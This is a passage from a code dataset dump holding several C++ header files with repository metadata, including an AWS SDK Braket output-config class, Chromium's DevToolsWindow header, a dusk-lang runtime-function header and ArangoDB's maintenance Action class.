Core::Event::EventType::Count> * cev, sf::Clock * glbClk); /** * */ void add_event(std::unique_ptr<Event> e); /** * Main loop. Order is: * * 1. Process events * 2. Update frame * 3. Process any frame swapping * 4. Update again if needed after any frame swapping * 5. Draw/Render the screen */ void Loop(); /** * Take an action on a frame. * This will take ownership of the frame and handle deletion if a delete was requested * An update can finish after calling this even if a delete was requested it doesn't * take effect right away. The frame action will happen after the update finishes, * so the current update can finish out and do whatever it needs to do. * * @param action The action to take * @param frame The frame to act upon */ void frame_action(FrameAction action, Frames::IFrame* frame = nullptr); void addUpdateableEntitiy(Interfaces::IUpdateable * updateable); void removeUpdateableEntity(Interfaces::IUpdateable * updateable); /** * Engine destructor. */ ~Engine(); }; }
23.475524
174
0.687221
[ "render", "vector" ]
5cf1d9b1b0a82b8471a106a7a85cd18b6edd6bd0
5,822
h
C
aws-cpp-sdk-braket/include/aws/braket/model/JobOutputDataConfig.h
perfectrecall/aws-sdk-cpp
fb8cbebf2fd62720b65aeff841ad2950e73d8ebd
[ "Apache-2.0" ]
1
2022-02-10T08:06:54.000Z
2022-02-10T08:06:54.000Z
aws-cpp-sdk-braket/include/aws/braket/model/JobOutputDataConfig.h
perfectrecall/aws-sdk-cpp
fb8cbebf2fd62720b65aeff841ad2950e73d8ebd
[ "Apache-2.0" ]
1
2022-01-03T23:59:37.000Z
2022-01-03T23:59:37.000Z
aws-cpp-sdk-braket/include/aws/braket/model/JobOutputDataConfig.h
ravindra-wagh/aws-sdk-cpp
7d5ff01b3c3b872f31ca98fb4ce868cd01e97696
[ "Apache-2.0" ]
1
2021-11-09T11:58:03.000Z
2021-11-09T11:58:03.000Z
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #pragma once #include <aws/braket/Braket_EXPORTS.h> #include <aws/core/utils/memory/stl/AWSString.h> #include <utility> namespace Aws { namespace Utils { namespace Json { class JsonValue; class JsonView; } // namespace Json } // namespace Utils namespace Braket { namespace Model { /** * <p>Specifies the path to the S3 location where you want to store job artifacts * and the encryption key used to store them.</p><p><h3>See Also:</h3> <a * href="http://docs.aws.amazon.com/goto/WebAPI/braket-2019-09-01/JobOutputDataConfig">AWS * API Reference</a></p> */ class AWS_BRAKET_API JobOutputDataConfig { public: JobOutputDataConfig(); JobOutputDataConfig(Aws::Utils::Json::JsonView jsonValue); JobOutputDataConfig& operator=(Aws::Utils::Json::JsonView jsonValue); Aws::Utils::Json::JsonValue Jsonize() const; /** * <p>The AWS Key Management Service (AWS KMS) key that Amazon Braket uses to * encrypt the job training artifacts at rest using Amazon S3 server-side * encryption.</p> */ inline const Aws::String& GetKmsKeyId() const{ return m_kmsKeyId; } /** * <p>The AWS Key Management Service (AWS KMS) key that Amazon Braket uses to * encrypt the job training artifacts at rest using Amazon S3 server-side * encryption.</p> */ inline bool KmsKeyIdHasBeenSet() const { return m_kmsKeyIdHasBeenSet; } /** * <p>The AWS Key Management Service (AWS KMS) key that Amazon Braket uses to * encrypt the job training artifacts at rest using Amazon S3 server-side * encryption.</p> */ inline void SetKmsKeyId(const Aws::String& value) { m_kmsKeyIdHasBeenSet = true; m_kmsKeyId = value; } /** * <p>The AWS Key Management Service (AWS KMS) key that Amazon Braket uses to * encrypt the job training artifacts at rest using Amazon S3 server-side * encryption.</p> */ inline void SetKmsKeyId(Aws::String&& value) { m_kmsKeyIdHasBeenSet = true; m_kmsKeyId = std::move(value); } /** * <p>The AWS Key Management Service (AWS KMS) key that Amazon Braket uses to * encrypt the job training artifacts at rest using Amazon S3 server-side * encryption.</p> */ inline void SetKmsKeyId(const char* value) { m_kmsKeyIdHasBeenSet = true; m_kmsKeyId.assign(value); } /** * <p>The AWS Key Management Service (AWS KMS) key that Amazon Braket uses to * encrypt the job training artifacts at rest using Amazon S3 server-side * encryption.</p> */ inline JobOutputDataConfig& WithKmsKeyId(const Aws::String& value) { SetKmsKeyId(value); return *this;} /** * <p>The AWS Key Management Service (AWS KMS) key that Amazon Braket uses to * encrypt the job training artifacts at rest using Amazon S3 server-side * encryption.</p> */ inline JobOutputDataConfig& WithKmsKeyId(Aws::String&& value) { SetKmsKeyId(std::move(value)); return *this;} /** * <p>The AWS Key Management Service (AWS KMS) key that Amazon Braket uses to * encrypt the job training artifacts at rest using Amazon S3 server-side * encryption.</p> */ inline JobOutputDataConfig& WithKmsKeyId(const char* value) { SetKmsKeyId(value); return *this;} /** * <p>Identifies the S3 path where you want Amazon Braket to store the job training * artifacts. For example, <code>s3://bucket-name/key-name-prefix</code>.</p> */ inline const Aws::String& GetS3Path() const{ return m_s3Path; } /** * <p>Identifies the S3 path where you want Amazon Braket to store the job training * artifacts. For example, <code>s3://bucket-name/key-name-prefix</code>.</p> */ inline bool S3PathHasBeenSet() const { return m_s3PathHasBeenSet; } /** * <p>Identifies the S3 path where you want Amazon Braket to store the job training * artifacts. For example, <code>s3://bucket-name/key-name-prefix</code>.</p> */ inline void SetS3Path(const Aws::String& value) { m_s3PathHasBeenSet = true; m_s3Path = value; } /** * <p>Identifies the S3 path where you want Amazon Braket to store the job training * artifacts. For example, <code>s3://bucket-name/key-name-prefix</code>.</p> */ inline void SetS3Path(Aws::String&& value) { m_s3PathHasBeenSet = true; m_s3Path = std::move(value); } /** * <p>Identifies the S3 path where you want Amazon Braket to store the job training * artifacts. For example, <code>s3://bucket-name/key-name-prefix</code>.</p> */ inline void SetS3Path(const char* value) { m_s3PathHasBeenSet = true; m_s3Path.assign(value); } /** * <p>Identifies the S3 path where you want Amazon Braket to store the job training * artifacts. For example, <code>s3://bucket-name/key-name-prefix</code>.</p> */ inline JobOutputDataConfig& WithS3Path(const Aws::String& value) { SetS3Path(value); return *this;} /** * <p>Identifies the S3 path where you want Amazon Braket to store the job training * artifacts. For example, <code>s3://bucket-name/key-name-prefix</code>.</p> */ inline JobOutputDataConfig& WithS3Path(Aws::String&& value) { SetS3Path(std::move(value)); return *this;} /** * <p>Identifies the S3 path where you want Amazon Braket to store the job training * artifacts. For example, <code>s3://bucket-name/key-name-prefix</code>.</p> */ inline JobOutputDataConfig& WithS3Path(const char* value) { SetS3Path(value); return *this;} private: Aws::String m_kmsKeyId; bool m_kmsKeyIdHasBeenSet; Aws::String m_s3Path; bool m_s3PathHasBeenSet; }; } // namespace Model } // namespace Braket } // namespace Aws
36.848101
113
0.676743
[ "model" ]
5cf1e44ae77ab7fb97d4d632850a19db51329b89
3,326
h
C
include/dusk/Runtime/RuntimeFuncs.h
mattapet/dusk-lang
928b027429a3fd38cece78a89a9619406dcdd9f0
[ "MIT" ]
1
2022-03-30T22:01:44.000Z
2022-03-30T22:01:44.000Z
include/dusk/Runtime/RuntimeFuncs.h
mattapet/dusk-lang
928b027429a3fd38cece78a89a9619406dcdd9f0
[ "MIT" ]
null
null
null
include/dusk/Runtime/RuntimeFuncs.h
mattapet/dusk-lang
928b027429a3fd38cece78a89a9619406dcdd9f0
[ "MIT" ]
null
null
null
//===--- RuntimeFuncs.h - Runtime function declarations ---------*- C++ -*-===// // // dusk-lang // This source file is part of a dusk-lang project, which is a semestral // assignement for BI-PJP course at Czech Technical University in Prague. // The software is provided "AS IS", WITHOUT WARRANTY OF ANY KIND. // //===----------------------------------------------------------------------===// #ifndef DUSK_RUNTIME_FUNCS_H #define DUSK_RUNTIME_FUNCS_H #include "dusk/Basic/LLVM.h" #include "dusk/AST/Decl.h" #include "dusk/AST/Expr.h" #include "dusk/AST/Stmt.h" #include "dusk/AST/Pattern.h" #include "dusk/AST/Type.h" #include "dusk/AST/NameLookup.h" #include "dusk/AST/ASTContext.h" #include "llvm/ADT/SmallVector.h" #include "llvm/Support/SourceMgr.h" #include <memory> #include <vector> namespace dusk { static ASTNode *getPrintln(ASTContext &Context) { auto TyRepr = new (Context) IdentTypeRepr("Int"); auto P = new (Context) ParamDecl(ValDecl::Specifier::Let, "val", SMLoc{}, TyRepr); llvm::SmallVector<Decl *, 128> Prms; Prms.push_back(P); auto Pttrn = new (Context) VarPattern(std::move(Prms), SMLoc{}, SMLoc{}); auto Fn = new (Context) FuncDecl("println", SMLoc{}, SMLoc{}, Pttrn); return new (Context) ExternStmt(SMLoc{}, Fn); } static ASTNode *getReadln(ASTContext &Context) { NameLookup NL; llvm::SmallVector<Decl *, 128> Prms; auto Pttrn = new (Context) VarPattern(std::move(Prms), SMLoc{}, SMLoc{}); auto TyRepr = new (Context) IdentTypeRepr("Int"); auto Fn = new (Context) FuncDecl("readln", SMLoc{}, SMLoc{}, Pttrn, TyRepr); return new (Context) ExternStmt(SMLoc{}, Fn); } static ASTNode *get__iter_range(ASTContext &Context) { auto TyRepr = new (Context) IdentTypeRepr("Int"); llvm::SmallVector<Decl *, 128> Prms; Prms.push_back(new (Context) ParamDecl(ValDecl::Specifier::Let, "Start", SMLoc{}, TyRepr)); Prms.push_back(new (Context) ParamDecl(ValDecl::Specifier::Let, "End", SMLoc{}, TyRepr)); auto Pttrn = new (Context) VarPattern(std::move(Prms), SMLoc{}, SMLoc{}); auto Fn = new (Context) FuncDecl("__iter_range", SMLoc{}, SMLoc{}, Pttrn, TyRepr); return new (Context) ExternStmt(SMLoc{}, Fn); } static ASTNode *get__iter_step(ASTContext &Context) { auto TyRepr = new (Context) IdentTypeRepr("Int"); llvm::SmallVector<Decl *, 128> Prms; Prms.push_back(new (Context) ParamDecl(ValDecl::Specifier::Let, "Start", SMLoc{}, TyRepr)); Prms.push_back(new (Context) ParamDecl(ValDecl::Specifier::Let, "End", SMLoc{}, TyRepr)); auto Pttrn = new (Context) VarPattern(std::move(Prms), SMLoc{}, SMLoc{}); auto Fn = new (Context) FuncDecl("__iter_step", SMLoc{}, SMLoc{}, Pttrn, TyRepr); return new (Context) ExternStmt(SMLoc{}, Fn); } static void getFuncs(ASTContext &Context) { std::vector<ASTNode *> NF{getPrintln(Context), getReadln(Context), get__iter_range(Context), get__iter_step(Context)}; auto C = Context.getRootModule()->getContents(); NF.insert(NF.end(), C.begin(), C.end()); Context.getRootModule()->setContents(std::move(NF)); } } // namespace dusk #endif /* DUSK_RUNTIME_FUNCS_H */
38.229885
80
0.630487
[ "vector" ]
5cf23b164553635aedf69580b720958c989b7da6
14,668
h
C
chrome/browser/devtools/devtools_window.h
aranajhonny/chromium
caf5bcb822f79b8997720e589334266551a50a13
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
1
2019-01-16T03:57:39.000Z
2019-01-16T03:57:39.000Z
chrome/browser/devtools/devtools_window.h
aranajhonny/chromium
caf5bcb822f79b8997720e589334266551a50a13
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
1
2018-02-10T21:00:08.000Z
2018-03-20T05:09:50.000Z
chrome/browser/devtools/devtools_window.h
aranajhonny/chromium
caf5bcb822f79b8997720e589334266551a50a13
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_BROWSER_DEVTOOLS_DEVTOOLS_WINDOW_H_ #define CHROME_BROWSER_DEVTOOLS_DEVTOOLS_WINDOW_H_ #include "chrome/browser/devtools/devtools_contents_resizing_strategy.h" #include "chrome/browser/devtools/devtools_toggle_action.h" #include "chrome/browser/devtools/devtools_ui_bindings.h" #include "content/public/browser/web_contents_delegate.h" #include "content/public/browser/web_contents_observer.h" class Browser; class BrowserWindow; class DevToolsWindowTesting; class DevToolsEventForwarder; namespace content { class DevToolsAgentHost; struct NativeWebKeyboardEvent; class RenderViewHost; } namespace user_prefs { class PrefRegistrySyncable; } class DevToolsWindow : public DevToolsUIBindings::Delegate, public content::WebContentsDelegate { public: class ObserverWithAccessor : public content::WebContentsObserver { public: explicit ObserverWithAccessor(content::WebContents* web_contents); virtual ~ObserverWithAccessor(); content::WebContents* GetWebContents(); private: DISALLOW_COPY_AND_ASSIGN(ObserverWithAccessor); }; static const char kDevToolsApp[]; virtual ~DevToolsWindow(); static void RegisterProfilePrefs(user_prefs::PrefRegistrySyncable* registry); // Return the DevToolsWindow for the given WebContents if one exists, // otherwise NULL. static DevToolsWindow* GetInstanceForInspectedWebContents( content::WebContents* inspected_web_contents); // Return the docked DevTools WebContents for the given inspected WebContents // if one exists and should be shown in browser window, otherwise NULL. // This method will return only fully initialized window ready to be // presented in UI. // If |out_strategy| is not NULL, it will contain resizing strategy. // For immediately-ready-to-use but maybe not yet fully initialized DevTools // use |GetInstanceForInspectedRenderViewHost| instead. static content::WebContents* GetInTabWebContents( content::WebContents* inspected_tab, DevToolsContentsResizingStrategy* out_strategy); static bool IsDevToolsWindow(content::WebContents* web_contents); // Open or reveal DevTools window, and perform the specified action. static DevToolsWindow* OpenDevToolsWindow( content::RenderViewHost* inspected_rvh, const DevToolsToggleAction& action); // Open or reveal DevTools window, with no special action. static DevToolsWindow* OpenDevToolsWindow( content::RenderViewHost* inspected_rvh); // Perform specified action for current WebContents inside a |browser|. // This may close currently open DevTools window. static DevToolsWindow* ToggleDevToolsWindow( Browser* browser, const DevToolsToggleAction& action); // External frontend is always undocked. static void OpenExternalFrontend( Profile* profile, const std::string& frontend_uri, content::DevToolsAgentHost* agent_host); // Worker frontend is always undocked. static DevToolsWindow* OpenDevToolsWindowForWorker( Profile* profile, content::DevToolsAgentHost* worker_agent); static void InspectElement( content::RenderViewHost* inspected_rvh, int x, int y); // Sets closure to be called after load is done. If already loaded, calls // closure immediately. void SetLoadCompletedCallback(const base::Closure& closure); // Forwards an unhandled keyboard event to the DevTools frontend. bool ForwardKeyboardEvent(const content::NativeWebKeyboardEvent& event); // BeforeUnload interception //////////////////////////////////////////////// // In order to preserve any edits the user may have made in devtools, the // beforeunload event of the inspected page is hooked - devtools gets the // first shot at handling beforeunload and presents a dialog to the user. If // the user accepts the dialog then the script is given a chance to handle // it. This way 2 dialogs may be displayed: one from the devtools asking the // user to confirm that they're ok with their devtools edits going away and // another from the webpage as the result of its beforeunload handler. // The following set of methods handle beforeunload event flow through // devtools window. When the |contents| with devtools opened on them are // getting closed, the following sequence of calls takes place: // 1. |DevToolsWindow::InterceptPageBeforeUnload| is called and indicates // whether devtools intercept the beforeunload event. // If InterceptPageBeforeUnload() returns true then the following steps // will take place; otherwise only step 4 will be reached and none of the // corresponding functions in steps 2 & 3 will get called. // 2. |DevToolsWindow::InterceptPageBeforeUnload| fires beforeunload event // for devtools frontend, which will asynchronously call // |WebContentsDelegate::BeforeUnloadFired| method. // In case of docked devtools window, devtools are set as a delegate for // its frontend, so method |DevToolsWindow::BeforeUnloadFired| will be // called directly. // If devtools window is undocked it's not set as the delegate so the call // to BeforeUnloadFired is proxied through HandleBeforeUnload() rather // than getting called directly. // 3a. If |DevToolsWindow::BeforeUnloadFired| is called with |proceed|=false // it calls throught to the content's BeforeUnloadFired(), which from the // WebContents perspective looks the same as the |content|'s own // beforeunload dialog having had it's 'stay on this page' button clicked. // 3b. If |proceed| = true, then it fires beforeunload event on |contents| // and everything proceeds as it normally would without the Devtools // interception. // 4. If the user cancels the dialog put up by either the WebContents or // devtools frontend, then |contents|'s |BeforeUnloadFired| callback is // called with the proceed argument set to false, this causes // |DevToolsWindow::OnPageCloseCancelled| to be called. // Devtools window in undocked state is not set as a delegate of // its frontend. Instead, an instance of browser is set as the delegate, and // thus beforeunload event callback from devtools frontend is not delivered // to the instance of devtools window, which is solely responsible for // managing custom beforeunload event flow. // This is a helper method to route callback from // |Browser::BeforeUnloadFired| back to |DevToolsWindow::BeforeUnloadFired|. // * |proceed| - true if the user clicked 'ok' in the beforeunload dialog, // false otherwise. // * |proceed_to_fire_unload| - output parameter, whether we should continue // to fire the unload event or stop things here. // Returns true if devtools window is in a state of intercepting beforeunload // event and if it will manage unload process on its own. static bool HandleBeforeUnload(content::WebContents* contents, bool proceed, bool* proceed_to_fire_unload); // Returns true if this contents beforeunload event was intercepted by // devtools and false otherwise. If the event was intercepted, caller should // not fire beforeunlaod event on |contents| itself as devtools window will // take care of it, otherwise caller should continue handling the event as // usual. static bool InterceptPageBeforeUnload(content::WebContents* contents); // Returns true if devtools browser has already fired its beforeunload event // as a result of beforeunload event interception. static bool HasFiredBeforeUnloadEventForDevToolsBrowser(Browser* browser); // Returns true if devtools window would like to hook beforeunload event // of this |contents|. static bool NeedsToInterceptBeforeUnload(content::WebContents* contents); // Notify devtools window that closing of |contents| was cancelled // by user. static void OnPageCloseCanceled(content::WebContents* contents); private: friend class DevToolsWindowTesting; // DevTools lifecycle typically follows this way: // - Toggle/Open: client call; // - Create; // - ScheduleShow: setup window to be functional, but not yet show; // - DocumentOnLoadCompletedInMainFrame: frontend loaded; // - SetIsDocked: frontend decided on docking state; // - OnLoadCompleted: ready to present frontend; // - Show: actually placing frontend WebContents to a Browser or docked place; // - DoAction: perform action passed in Toggle/Open; // - ...; // - CloseWindow: initiates before unload handling; // - CloseContents: destroys frontend; // - DevToolsWindow is dead once it's main_web_contents dies. enum LifeStage { kNotLoaded, kOnLoadFired, // Implies SetIsDocked was not yet called. kIsDockedSet, // Implies DocumentOnLoadCompleted was not yet called. kLoadCompleted, kClosing }; DevToolsWindow(Profile* profile, const GURL& frontend_url, content::RenderViewHost* inspected_rvh, bool can_dock); static DevToolsWindow* Create(Profile* profile, const GURL& frontend_url, content::RenderViewHost* inspected_rvh, bool shared_worker_frontend, bool external_frontend, bool can_dock, const std::string& settings); static GURL GetDevToolsURL(Profile* profile, const GURL& base_url, bool shared_worker_frontend, bool external_frontend, bool can_dock, const std::string& settings); static DevToolsWindow* FindDevToolsWindow(content::DevToolsAgentHost*); static DevToolsWindow* AsDevToolsWindow(content::WebContents*); static DevToolsWindow* CreateDevToolsWindowForWorker(Profile* profile); static DevToolsWindow* ToggleDevToolsWindow( content::RenderViewHost* inspected_rvh, bool force_open, const DevToolsToggleAction& action, const std::string& settings); static std::string GetDevToolsWindowPlacementPrefKey(); // content::WebContentsDelegate: virtual content::WebContents* OpenURLFromTab( content::WebContents* source, const content::OpenURLParams& params) OVERRIDE; virtual void ActivateContents(content::WebContents* contents) OVERRIDE; virtual void AddNewContents(content::WebContents* source, content::WebContents* new_contents, WindowOpenDisposition disposition, const gfx::Rect& initial_pos, bool user_gesture, bool* was_blocked) OVERRIDE; virtual void WebContentsCreated(content::WebContents* source_contents, int opener_render_frame_id, const base::string16& frame_name, const GURL& target_url, content::WebContents* new_contents) OVERRIDE; virtual void CloseContents(content::WebContents* source) OVERRIDE; virtual void ContentsZoomChange(bool zoom_in) OVERRIDE; virtual void BeforeUnloadFired(content::WebContents* tab, bool proceed, bool* proceed_to_fire_unload) OVERRIDE; virtual bool PreHandleKeyboardEvent( content::WebContents* source, const content::NativeWebKeyboardEvent& event, bool* is_keyboard_shortcut) OVERRIDE; virtual void HandleKeyboardEvent( content::WebContents* source, const content::NativeWebKeyboardEvent& event) OVERRIDE; virtual content::JavaScriptDialogManager* GetJavaScriptDialogManager() OVERRIDE; virtual content::ColorChooser* OpenColorChooser( content::WebContents* web_contents, SkColor color, const std::vector<content::ColorSuggestion>& suggestions) OVERRIDE; virtual void RunFileChooser( content::WebContents* web_contents, const content::FileChooserParams& params) OVERRIDE; virtual void WebContentsFocused(content::WebContents* contents) OVERRIDE; virtual bool PreHandleGestureEvent( content::WebContents* source, const blink::WebGestureEvent& event) OVERRIDE; // content::DevToolsUIBindings::Delegate overrides virtual void ActivateWindow() OVERRIDE; virtual void CloseWindow() OVERRIDE; virtual void SetInspectedPageBounds(const gfx::Rect& rect) OVERRIDE; virtual void SetContentsResizingStrategy( const gfx::Insets& insets, const gfx::Size& min_size) OVERRIDE; virtual void InspectElementCompleted() OVERRIDE; virtual void MoveWindow(int x, int y) OVERRIDE; virtual void SetIsDocked(bool is_docked) OVERRIDE; virtual void OpenInNewTab(const std::string& url) OVERRIDE; virtual void SetWhitelistedShortcuts(const std::string& message) OVERRIDE; virtual void InspectedContentsClosing() OVERRIDE; virtual void OnLoadCompleted() OVERRIDE; virtual InfoBarService* GetInfoBarService() OVERRIDE; virtual void RenderProcessGone() OVERRIDE; void CreateDevToolsBrowser(); BrowserWindow* GetInspectedBrowserWindow(); void ScheduleShow(const DevToolsToggleAction& action); void Show(const DevToolsToggleAction& action); void DoAction(const DevToolsToggleAction& action); void LoadCompleted(); void UpdateBrowserToolbar(); void UpdateBrowserWindow(); content::WebContents* GetInspectedWebContents(); scoped_ptr<ObserverWithAccessor> inspected_contents_observer_; Profile* profile_; content::WebContents* main_web_contents_; content::WebContents* toolbox_web_contents_; DevToolsUIBindings* bindings_; Browser* browser_; bool is_docked_; const bool can_dock_; LifeStage life_stage_; DevToolsToggleAction action_on_load_; DevToolsContentsResizingStrategy contents_resizing_strategy_; // True if we're in the process of handling a beforeunload event originating // from the inspected webcontents, see InterceptPageBeforeUnload for details. bool intercepted_page_beforeunload_; base::Closure load_completed_callback_; base::Closure close_callback_; base::TimeTicks inspect_element_start_time_; scoped_ptr<DevToolsEventForwarder> event_forwarder_; friend class DevToolsEventForwarder; DISALLOW_COPY_AND_ASSIGN(DevToolsWindow); }; #endif // CHROME_BROWSER_DEVTOOLS_DEVTOOLS_WINDOW_H_
45.411765
80
0.726207
[ "vector" ]
5cfd793425314d1f5c52e3fbc0ecd27f9f561380
6,885
h
C
arangod/Cluster/Action.h
trooso/arangodb
3a3eb78dcab73cdc7aa6bb9cfdf4c7b20bc2857c
[ "Apache-2.0" ]
1
2022-03-25T19:26:09.000Z
2022-03-25T19:26:09.000Z
arangod/Cluster/Action.h
solisoft/arangodb
ebb11f901fdcac72ca298f7f329427c7ec51b157
[ "Apache-2.0" ]
null
null
null
arangod/Cluster/Action.h
solisoft/arangodb
ebb11f901fdcac72ca298f7f329427c7ec51b157
[ "Apache-2.0" ]
null
null
null
//////////////////////////////////////////////////////////////////////////////// /// DISCLAIMER /// /// Copyright 2014-2021 ArangoDB GmbH, Cologne, Germany /// Copyright 2004-2014 triAGENS GmbH, Cologne, Germany /// /// Licensed under the Apache License, Version 2.0 (the "License"); /// you may not use this file except in compliance with the License. /// You may obtain a copy of the License at /// /// http://www.apache.org/licenses/LICENSE-2.0 /// /// Unless required by applicable law or agreed to in writing, software /// distributed under the License is distributed on an "AS IS" BASIS, /// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. /// See the License for the specific language governing permissions and /// limitations under the License. /// /// Copyright holder is ArangoDB GmbH, Cologne, Germany /// /// @author Kaveh Vahedipour /// @author Matthew Von-Maszewski //////////////////////////////////////////////////////////////////////////////// #pragma once #include "ActionBase.h" #include "ActionDescription.h" #include "Basics/Result.h" #include <chrono> namespace arangodb { class MaintenanceFeature; namespace maintenance { class Action { public: /// @brief construct with description Action(MaintenanceFeature&, ActionDescription const&); /// @brief construct with description Action(MaintenanceFeature&, ActionDescription&&); /// @brief construct with description Action(MaintenanceFeature&, std::shared_ptr<ActionDescription> const&); Action(Action const&) = delete; Action(Action&&) = delete; Action() = delete; Action& operator=(Action const&) = delete; /// @brief for sorting in a priority queue: bool operator<(Action const& other) const; /** * @brief construct with concrete action base * @param feature Maintenance feature * @param action Concrete action */ explicit Action(std::unique_ptr<ActionBase> action); /// @brief clean up virtual ~Action(); /// @brief run for some time and tell, if need more time or done bool next(); /// @brief run for some time and tell, if need more time or done arangodb::Result result(); /// @brief run for some time and tell, if need more time or done bool first(); /// @brief is object in a usable condition bool ok() const { return (nullptr != _action.get() && _action->ok()); }; /// @brief check progress arangodb::Result progress(double& progress); /// @brief describe action ActionDescription const& describe() const; /// @brief describe action MaintenanceFeature& feature() const; // @brief get properties std::shared_ptr<VPackBuilder> const properties() const; ActionState getState() const; void setState(ActionState state) { _action->setState(state); } /// @brief update incremental statistics void startStats(); /// @brief update incremental statistics void incStats(); /// @brief finalize statistics void endStats(); /// @brief check if action matches worker options bool matches(std::unordered_set<std::string> const& labels) const; /// @brief return progress statistic uint64_t getProgress() const { return _action->getProgress(); } /// @brief Once PreAction completes, remove its pointer void clearPreAction() { _action->clearPreAction(); } /// @brief Retrieve pointer to action that should run before this one std::shared_ptr<Action> getPreAction() { return _action->getPreAction(); } /// @brief Initiate a pre action void createPreAction(ActionDescription const& description); /// @brief Initiate a post action void createPostAction(ActionDescription const& description); /// @brief Retrieve pointer to action that should run directly after this one std::shared_ptr<Action> getPostAction() { return _action->getPostAction(); } /// @brief Save pointer to successor action void setPostAction(std::shared_ptr<ActionDescription> post) { _action->setPostAction(post); } /// @brief hash value of ActionDescription /// @return uint64_t hash uint64_t hash() const { return _action->hash(); } /// @brief hash value of ActionDescription /// @return uint64_t hash uint64_t id() const { return _action->id(); } /// @brief add VPackObject to supplied builder with info about this action void toVelocyPack(VPackBuilder& builder) const; /// @brief add VPackObject to supplied builder with info about this action VPackBuilder toVelocyPack() const { return _action->toVelocyPack(); } /// @brief Returns json array of object contents for status reports /// Thread safety of this function is questionable for some member objects // virtual Result toJson(/* builder */) {return Result;}; /// @brief Return Result object contain action specific status Result result() const { return _action->result(); } /// @brief execution finished successfully or failed ... and race timer /// expired bool done() const { return _action->done(); } /// @brief waiting for a worker to grab it and go! bool runnable() const { return _action->runnable(); } /// @brief When object was constructed std::chrono::system_clock::time_point getCreateTime() const { return _action->getCreateTime(); } /// @brief When object was first started std::chrono::system_clock::time_point getStartTime() const { return _action->getStartTime(); } /// @brief When object most recently iterated std::chrono::system_clock::time_point getLastStatTime() const { return _action->getLastStatTime(); } /// @brief When object finished executing std::chrono::system_clock::time_point getDoneTime() const { return _action->getDoneTime(); } auto getRunDuration() const { return _action->getDoneTime() - _action->getStartTime(); } auto getQueueDuration() const { return _action->getStartTime() - _action->getCreateTime(); } /// @brief fastTrack bool fastTrack() const { return _action->fastTrack(); } /// @brief priority int priority() const { return _action->priority(); } bool requeueRequested() const { return _action->requeueRequested(); } int requeuePriority() const { return _action->requeuePriority(); } void requeueMe(int requeuePriority) { _action->requeueMe(requeuePriority); } void setPriority(int newPriority) { _action->setPriority(newPriority); } #ifdef ARANGODB_USE_GOOGLE_TESTS static void addNewFactoryForTest(std::string const& name, std::function<std::unique_ptr<ActionBase>(MaintenanceFeature&, ActionDescription const&)>&& factory); #endif private: /// @brief actually create the concrete action void create(MaintenanceFeature&, ActionDescription const&); /// @brief concrete action std::unique_ptr<ActionBase> _action; }; } // namespace maintenance } // namespace arangodb namespace std { ostream& operator<<(ostream& o, arangodb::maintenance::Action const& d); }
29.676724
107
0.694844
[ "object" ]